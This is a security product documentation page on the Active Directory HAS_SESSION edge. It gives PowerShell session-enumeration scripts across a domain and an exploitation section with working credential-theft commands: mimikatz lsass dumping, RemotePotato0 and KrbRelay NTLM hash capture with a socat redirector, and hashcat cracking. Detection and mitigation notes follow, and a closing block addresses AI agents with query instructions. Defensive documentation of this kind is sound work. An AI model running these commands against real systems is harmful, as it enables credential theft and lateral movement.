# HAS\_SESSION

## Summary

|                            |              |
| -------------------------- | ------------ |
| **FSProtect ACL Alias**    | HAS\_SESSION |
| **Affected Object Types**  | Computers    |
| **Exploitation Certainty** | Likely       |

## Description

`HAS_SESSION` information serves as a critical data source for system administrators by identifying which users are logged into which computers on the network. This data enables administrators to monitor user sessions, quickly detect unusual or unauthorized access, and thereby mitigating potential lateral movement by attackers.

**Important Note:** Administrator privileges should not be used to log in to unauthorized computers. If such access occurs, the computer should be restarted immediately to minimize potential security threats and prevent privilege-escalation risks.

## Identification

### PowerShell

#### Active Directory Module

Using the ActiveDirectory PowerShell module, you can enumerate `HAS_SESSION` entries.

**1.** Find-HAS\_SESSION function

```powershell
function Find-HAS_SESSION {
    [CmdletBinding()]
    param([Parameter( Position = 0,  ValueFromPipeline = $true,ValueFromPipelineByPropertyName = $true )][string[]]$Target, [Parameter(Position = 1)] [string]$OutputPath = "HAS_SESSION.csv" )
    begin {
        Import-Module ActiveDirectory -ErrorAction Stop
        # Write CSV header (overwrites any existing file)
        "Computer,Username,SessionName,ID,State,IdleTime,LogonTime" |
            Out-File -FilePath $OutputPath -Encoding UTF8 -Force
        # Determine list of computers
        if ($Target) {
            $computers = $Target
        }
        else {
            $computers = Get-ADComputer -Filter * | Select-Object -ExpandProperty Name
        }
    }
    process {
        foreach ($computer in $computers) {
            try {
                # Run 'query user' and join lines into one string
                $raw = (query user /server:$computer 2>&1) -join "`n"
                # Skip if no sessions
                if ($raw -and $raw -notmatch 'No user exists for') {
                    # Split into lines, skip header
                    $lines = $raw -split "\r?\n"
                    foreach ($line in $lines[1..($lines.Count-1)]) {
                        $line = $line.Trim()
                        if (-not [string]::IsNullOrWhiteSpace($line)) {
                            $cols = $line -split "\s{2,}"
                            if ($cols.Count -ge 6) {
                                $obj = [PSCustomObject]@{
                                    Computer    = $computer
                                    Username    = $cols[0].TrimStart('>')
                                    SessionName = $cols[1]
                                    ID          = $cols[2]
                                    State       = $cols[3]
                                    IdleTime    = $cols[4]
                                    LogonTime   = ($cols[5..($cols.Count-1)] -join ' ')
                                }
                                $obj | Export-Csv -Path $OutputPath -NoTypeInformation -Append
                            }
                        }
                    }
                }
            }
            catch {
                [PSCustomObject]@{
                    Computer    = $computer
                    Username    = 'ERROR'
                    SessionName = ''
                    ID          = ''
                    State       = ''
                    IdleTime    = ''
                    LogonTime   = $_.Exception.Message
                } | Export-Csv -Path $OutputPath -NoTypeInformation -Append
            }
        }
    }
}
```

**2.** Scan all computers in the domain

```powershell
Find-HAS_SESSION
```

**3.** Scan a specific computer

```powershell
Find-HAS_SESSION -Target "vm01"
```

#### .NET Directory Services

By leveraging PowerShell’s built-in .NET DirectoryServices namespace, you can enumerate `HAS_SESSION` entries without relying on any external modules or dependencies

**1.** Find-HAS\_SESSIONSimple function

```powershell
function Find-HAS_SESSIONSimple {
    [CmdletBinding()]
    param([string]$Target = $null,[string]$OutputPath = "HAS_SESSION.csv")
    $computers = New-Object System.Collections.Generic.List[string]
    if ($Target) {
        try {
            $entry = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$Target")
            $oc = @($entry.Properties["objectClass"])
            if ($oc -contains "computer") {
                $dns = $entry.Properties["dNSHostName"][0]
                if (-not $dns) { $dns = $entry.Properties["name"][0] }
                if ($dns) { [void]$computers.Add($dns) }
            }
            else {
                $searcher = [System.DirectoryServices.DirectorySearcher]::new($entry)
                $searcher.Filter   = "(objectCategory=computer)"
                $searcher.PageSize = 1000
                [void]$searcher.PropertiesToLoad.Add("dNSHostName")
                [void]$searcher.PropertiesToLoad.Add("name")
                $hits = $searcher.FindAll()
                foreach ($hit in $hits) {
                    $props    = $hit.Properties
                    $dns      = $props["dnshostname"]
                    $name     = $props["name"]
                    $hostname = if ($dns -and $dns.Count -gt 0) { $dns[0] } elseif ($name -and $name.Count -gt 0) { $name[0] } else { $null }
                    if ($hostname) { [void]$computers.Add($hostname) }
                }
            }
        }
        catch {Write-Error "Failed to bind or enumerate under '$Target': $_" ; return  }
    }
    else {
        try {
            $root   = New-Object System.DirectoryServices.DirectoryEntry("LDAP://RootDSE")
            $baseDN = $root.Properties["defaultNamingContext"].Value
            $search = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$baseDN")
            $searcher = [System.DirectoryServices.DirectorySearcher]::new($search)
            $searcher.Filter   = "(objectCategory=computer)"
            $searcher.PageSize = 1000
            [void]$searcher.PropertiesToLoad.Add("dNSHostName")
            [void]$searcher.PropertiesToLoad.Add("name")
            $hits = $searcher.FindAll()
            foreach ($hit in $hits) {
                $props    = $hit.Properties
                $dns      = $props["dnshostname"]
                $name     = $props["name"]
                $hostname = if ($dns -and $dns.Count -gt 0) { $dns[0] } elseif ($name -and $name.Count -gt 0) { $name[0] } else { $null }
                if ($hostname) { [void]$computers.Add($hostname) }
            }
        }
        catch { Write-Error "LDAP enumeration failed: $_"  ; return}
    }
    if ($computers.Count -eq 0) { Write-Host "No computer targets found."; return}
    if (Test-Path $OutputPath) { Remove-Item $OutputPath -Force -ErrorAction SilentlyContinue }
    "Computer,Username,SessionName,ID,State,IdleTime,LogonTime" | Out-File -FilePath $OutputPath -Encoding UTF8 -Force
    $results = New-Object System.Collections.Generic.List[object]
    foreach ($computer in $computers) {
        try {
            $raw = (quser /server:$computer 2>&1) -join "`n"
            if (-not $raw -or $raw -match 'No user exists') { continue }

            $lines = $raw -split "\r?\n" | Where-Object { $_.Trim() -ne "" }
            if ($lines.Count -lt 2) { continue }
            foreach ($line in $lines[1..($lines.Count-1)]) {
                $trim = $line.Trim()
                if (-not $trim) { continue }

                $cols = $trim -split "\s{2,}"
                if ($cols.Count -lt 6) {
                    $cols = $trim -replace '^\>','' -split "\s+"
                    if ($cols.Count -lt 6) { continue }
                    $user       = $cols[0]
                    $session    = if ($cols[1] -match '^\d+$') { "" } else { $cols[1] }
                    $idxOffset  = if ($session -eq "") { 1 } else { 2 }
                    $id         = $cols[$idxOffset]
                    $state      = $cols[$idxOffset+1]
                    $idle       = $cols[$idxOffset+2]
                    $logonTime  = ($cols[($idxOffset+3)..($cols.Count-1)] -join ' ')
                }
                else {
                    $user       = $cols[0].TrimStart('>')
                    $session    = $cols[1]
                    $id         = $cols[2]
                    $state      = $cols[3]
                    $idle       = $cols[4]
                    $logonTime  = ($cols[5..($cols.Count-1)] -join ' ')
                }
                $obj = [PSCustomObject]@{
                    Computer    = $computer
                    Username    = $user
                    SessionName = $session
                    ID          = $id
                    State       = $state
                    IdleTime    = $idle
                    LogonTime   = $logonTime
                }
                $results.Add($obj) | Out-Null
                $obj | Export-Csv -Path $OutputPath -NoTypeInformation -Append
            }
        }
        catch { }
    }
    if ($results.Count -gt 0) {
        Write-Host "Exported $($results.Count) entr$(if($results.Count -eq 1){'y'}else{'ies'}) to $OutputPath"
        $results
    }
    else {  Write-Host "No active sessions found."}
}
```

**2.** Scan all computers in the domain

```powershell
Find-HAS_SESSIONSimple
```

**3.** Scan a specific computer

```powershell
Find-HAS_SESSIONSimple -Target "CN=VM01,OU=Workstations,DC=Forestall,DC=labs"
```

## Exploitation

Attack vectors:

**1.** With administrator access

* you can dump the NTLM hashes of all users currently logged on to the machineBy using a tool like `mimikatz`.

**2.** Without administrator privileges Without admin rights, tools like RemotePotato0 and KrbRelay can be used to acquire NTLMv1 or NTLMv2 challenge‑response hashes from logged-on users for offline cracking.

* `RemotePotato0` abuses DCOM to force NTLM authentication of a privileged user logged into the host, capturing NTLMv2 hashes for escalation or relay
* `KrbRelay` (a Kerberos/NTLM relay method) intercepts authentication responses (e.g. via LLMNR/NBT‑NS poisoning or SMB/LDAP with signing disabled), which can then be relayed or cracked offline

### Windows

#### Dumping NTLM hashes from `lsass` process using `mimikatz`

```powershell
.\mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords"
```

![Dump lsass process](/files/jUprW1XNkD5AZn8maCll)

#### Stealing NTLM hashes using `RemotePotato0`

Start a listener on Kali on port 135 to forward all connections back to the target machine

```bash
sudo socat -v TCP-LISTEN:135,fork,reuseaddr TCP:<targetmachineip>:9999
```

Example:

```bash
sudo socat -v TCP-LISTEN:135,fork,reuseaddr TCP:192.168.100.120:9999
```

Steal the Administrator’s NTLMv2 hash

```powershell
.\RemotePotato0.exe -m 2 -x <kaliip> -s <targetedusersessionid>
```

Example:

```powershell
.\RemotePotato0.exe -m 2 -x 192.168.100.129 -s 1
```

![Tcp 135 redirector](/files/k8O5ilyvgCPBjz9LqfdM)

![Stealing administrator hash](/files/PkPcqA0n12WUkqneCeiU)

#### Stealing NTLM hashes using `KrbRelay`

```powershell
.\KrbRelay.exe -session <sessionid> -clsid <clisd> -ntlm
```

Example:

```powershell
.\KrbRelay.exe -session 1 -clsid 0ea79562-d4f6-47ba-b7f2-1e9b06ba16a4 -ntlm
```

![Stealing administrator hash KrbRelay](/files/EjXNgIHLisKTodDdDyPn)

#### Cracking NTLMv2 hashes

Using `hashcat`, you can crack NTLMv2 hashes

```powershell
.\hashcat.exe .\hashes.txt .\rockyou.txt -m 5600 -r .\rules\best64.rule
```

![Crack ntlm hash](/files/WaRFFHIewftQLYiBs9mD)

## Mitigation

This security edge cannot be directly mitigated; however, to reduce risk, administrator privileges should not be used to log in to unauthorized computers. If such access occurs, the computer should be restarted immediately to minimize potential security threats and prevent privilege-escalation risks.

## Detection

Adding new Access Control Entries on Active Directory objects changes the `ntSecurityDescriptor` attribute of the objects themselves. These changes can be detected with Event IDs 5136 and 4662 to identify dangerous modifications. Event ID 4624 indicates a successful logon to a Windows system.

| Event ID | Description                            | Fields/Attributes               | References                                                                                                                     |
| -------- | -------------------------------------- | ------------------------------- | ------------------------------------------------------------------------------------------------------------------------------ |
| 4624     | An account was successfully logged on. | Logon Type , Subject, New Logon | <https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4624> |

## References

[What is Service Principal Names & Service Accounts? (Payatu Blog)](https://payatu.com/blog/what-is-service-principal-names-service-accounts/)

[MS-ADTS: Active Directory Technical Specification – Service Principal Name](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/cd328386-4d97-4666-be33-056545c1cad2)


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://docs.forestall.io/fsprotect/edges/ad/has_session.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
